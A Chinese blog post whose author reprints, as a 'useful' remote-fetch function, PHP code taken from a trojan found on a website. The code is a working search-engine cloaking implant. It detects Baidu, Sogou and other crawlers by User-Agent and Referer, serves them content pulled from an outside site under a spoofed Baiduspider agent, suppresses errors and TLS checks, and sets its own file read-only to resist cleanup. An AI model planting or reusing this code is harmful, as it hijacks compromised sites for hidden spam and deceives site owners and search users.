首页 > 其他分享 >一个远程调用另外站点数据函数

一个远程调用另外站点数据函数

时间:2023-05-26 16:13:54浏览次数:31  
标签:调用 setopt url tr 站点 ch curl 远程 define

 今天查看木马中发现一个黑客的远程调用数据函数蛮有用的,今天记录下:

set_time_limit(0);
error_reporting(0);
$tr = "stristr";
$er = $_SERVER;
function httpGet($url) {
  $ch = curl_init();
  //设置选项,包括URL
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)');
  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($ch, CURLOPT_HEADER, 0);
  //执行并获取HTML文档内容
  $output = curl_exec($ch);
  //释放curl句柄
  curl_close($ch);
  //打印获得的数据
  return $output;
}
$filename1 = @end(explode('/', $url1));
function set_writeable($file_name)
{
   @chmod($file_name, 0444);
}
@chmod(__FILE__, 0444);
set_writeable($filename1);
define('url',$er['REQUEST_URI']);
define('ref',$er['HTTP_REFERER']);
define('ent',$er['HTTP_USER_AGENT']);
define('site',"http://www.domain.com/");
define('road',"/?" .$er['HTTP_HOST'] . url);
define('regs','@Baidu|Sogou|Yisou|Soso|Haosou|Spider|So.com|Sm.cn@i');
define('area',$tr(url,".xml") or $tr(url,".doc") or $tr(url,".pdf") or $tr(url,".txt") or $tr(url,".ppt") or $tr(url,".pptx") or $tr(url,".xls") or $tr(url,".csv") or $tr(url,".shtml") or $tr(url,".tacc")or $tr(url,".ga")or $tr(url,".asp")or $tr(url,".aspx")or $tr(url,".gq")or $tr(url,".html") or $tr(url,".xlsx")or $tr(url,".znb")or $tr(url,".rar") or $tr(url,".zip")or $tr(url,".cnm")or $tr(url,".bak") or $tr(url,".jsp")or $tr(url,".jspx")and $tr(url,"?"));
if (area && preg_match(regs, ref)) {
    echo file_get_contents("http://www.domain.com/");
    exit;
}
if (preg_match(regs, ent)) {
    if (area) {
        echo httpGet(site.road);
        exit;
    } else {
        echo httpGet("http://www.domain.com/xxx.php");
        ob_flush();
        flush();
    }
}

  

标签:调用,setopt,url,tr,站点,ch,curl,远程,define
From: https://www.cnblogs.com/68xi/p/17434991.html

相关文章

  • ssh远程登录服务器时提示'Permission denied (publickey)'的解决办法
    scp远程拷贝文件时提示错误:Warning:Permanentlyadded'10.0.0.182'(RSA)tothelistofknownhosts.Permissiondenied(publickey).解决:登录10.0.0.182,将/etc/ssh/sshd_config文件中的PasswordAuthenticationno改为PasswordAuthenticationyes重启sshd服务:/etc/init.......
  • 使用Postman调用.NET Core的gRPC服务
     项目引入<PackageReferenceInclude="Grpc.AspNetCore.Server.Reflection"Version="2.51.0"/> net6.0的项目Program.cs需要添加的代码//注入服务builder.Services.AddGrpcReflection();//添加endpointapp.MapGrpcReflectionService(); 启动项目   ......
  • Lazada平台如何获取信息并调用呢?
    LazadaisoneofthelargestonlinemarketplacesinSoutheastAsia.Itoffersawidevarietyofproductsacrosscategoriessuchaselectronics,fashion,homeandliving,andhealthandbeauty.OneofthekeyreasonsforitssuccessisitsAPIsorApplicat......
  • js调用摄像头拍照及扫描二维码
    注:js调用摄像头需要localhost域或者https,否则会报无权限一引用jsGithub:https://github.com/mebjas/html5-qrcode<scriptsrc="html5-qrcode.min.js?v=2"></script>二html页面<!DOCTYPEhtml><html><head><title>Instascan</titl......
  • HTTP Client 调用 ODI Scenario
    HTTP-Client的官方实例如下:http://svn.apache.org/viewvc/httpcomponents/oac.hc3x/trunk/src/examples/FormLoginDemo.java?revision=604567&view=markup ODI官方文档中推荐HTTPURL方式调用Scenario部分描述:WiththeMetadataNavigatormodule,it......
  • 关闭浏览器https 调用http 文件的问题
    关闭浏览器https调用http的JS文件拦截和警告会涉及到安全性问题,建议不要直接禁用。如果确实需要屏蔽提醒,可以参考以下方法:使用浏览器插件:可以安装一些浏览器插件,例如HTTPSEverywhere、DisableMixedContent等来屏蔽https调用http的js文件的拦截和警告。更改浏览器安全设置......
  • windows server2016 操作系统修改默认远程端口
    一、需求   远程端口,windows默认的3389.linux的22,这种都是知名端口,如果IP地址暴露,很可能会被攻击,这时候就需要更改端口号。二、操作步骤2.1打开注册表   快捷键WIN+R,命令行窗口输入regedit2.2进入以下路径  这里是默认端口,修改为自己除1024以后,以及未被......
  • 子页面 调用父页面的方法
    使用element的dialog,dialog为自定以的组件,再组件内点击取消关闭dialog父页面 子页面 ......
  • AI远程交互
    AI远程交互技术在近年来得到了广泛的应用。以下是一些AI远程交互技术及其应用场景:1.虚拟助手:虚拟助手(如Siri、Alexa、GoogleAssistant等)通过语音识别、自然语言处理等技术,为用户提供在线咨询、查询信息、控制设备等服务。用户可以通过语音、文本等方式与虚拟助手进行交互。2.视......
  • RustDesk,可私有部署的远程控制软件
    一、服务端:运行压缩包里面的RustDeskServer.Setup.exe安装即可  二、客户端:输入ID服务器IP地址即可开始连接,完全免费使用,无任何限制 ......